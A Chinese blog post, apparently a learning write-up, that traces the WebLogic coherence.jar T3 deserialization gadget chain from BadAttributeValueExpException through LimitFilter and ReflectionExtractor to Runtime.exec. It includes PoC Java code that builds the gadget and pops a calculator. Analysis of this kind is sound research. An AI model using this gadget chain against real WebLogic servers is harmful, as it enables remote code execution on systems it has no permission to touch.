前言

该洞主要是webloigc的coherence.jar存在可以构造反序列化的gadget类,通过T3协议处理后导致漏洞触发,本文主要是学习weblogicT3序列化,并构造利用链的过程。

利用链分析

通过网上公布的poc,得知利用链如下:

1
2
3
4
5
6
7
8
gadget:
BadAttributeValueExpException.readObject()
com.tangosol.util.filter.LimitFilter.toString()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor.extract()
Method.invoke()
...
Runtime.getRuntime.exec()

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{
"getRuntime", new Class[0]
}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{command}})
};

//初始化LimitFiler类实例
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
//将limitFilter放入BadAttributeValueExpException的val属性中
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);

首先查看ReflectionExtractor.extract()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public E extract(T oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();

try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
}

return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}

可以看到这里return了一个method.invoke(),进一步构造代码如下。

1
2
3
Runtime runtime = Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec",new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
reflectionExtractor.extract(runtime);

image-20200526161740955

可以利用该代码直接弹出cmd,ReflectionExtractor() 这个方法设置了method和invoke的方法。poc最开使得代码类似于CommonsCollections5的transform都是做了一个this.method的赋值。

image-20200526161010089

但是只有触发extract()方法时,该反射调用的最终方法才会被执行。这里根据payload,进一步跟入,查看LimitFilter类的toString()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}

sb.append("])");
return sb.toString();
}

这里可以看到在LimitFilter的toString()方法中之只要满足判断this.m_comparator的值属于ValueExtractor类就能进行对extract()方法的调用。而reflectionExtractor刚好属于ValueExtractor类

构造测试代码

1
2
3
4
5
6
7
8
9
10
11
Runtime runtime = Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec",new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
// reflectionExtractor.extract(runtime);
LimitFilter limitFilter = new LimitFilter();
// 将reflectionExtractor赋值给this.m_comparator
limitFilter.setComparator(reflectionExtractor);
// 将runtime赋值给this.m_oAnchorTop
limitFilter.setTopAnchor(runtime);
// 这里相当于调用了ValueExtractor extractor = (ValueExtractor) reflectionExtractor
// extractor.extract(runtime)
limitFilter.toString();

这里相当于执行了第一个测试代码的reflectionExtractor.extract(runtime);这里整个invoke反射链就完成了,接下来是如何进行readObject的。

这里可以看到这个BadAttributeValueExpException和CommonsCollections5使用的反序列化方法是一样的。
执行BadAttributeValueException.readObject前,把val赋值为LimitFilter这个类就回调用toString方法,而LimitFilter.toString()刚好形成之前的反射链。

1
2
3
4
5
6
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
// 获取私有变量值val
Field val = expException.getClass().getDeclaredField("val");
// 设置访问标志为true使其可以访问私有变量
val.setAccessible(true);
val.set(expException, limitFilter);

BadAttributeValueException的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();

image-20200526164610226

至此整个反序列化完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Runtime runtime = Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec",new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
// reflectionExtractor.extract(runtime);
LimitFilter limitFilter = new LimitFilter();
// 将reflectionExtractor赋值给this.m_comparator
limitFilter.setComparator(reflectionExtractor);
// 将runtime赋值给this.m_oAnchorTop
limitFilter.setTopAnchor(runtime);
// 这里相当于调用了ValueExtractor extractor = (ValueExtractor) reflectionExtractor
// extractor.extract(runtime)
// limitFilter.toString();
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
// 获取私有变量值val
Field val = expException.getClass().getDeclaredField("val");
// 设置访问标志为true使其可以访问私有变量
val.setAccessible(true);
val.set(expException, limitFilter);

使用此条链会出现如下报错是因为Runtime这个类没实现序列化接口。原理已经搞清楚了修改一下poc就可以利用了。

image-20200526170031346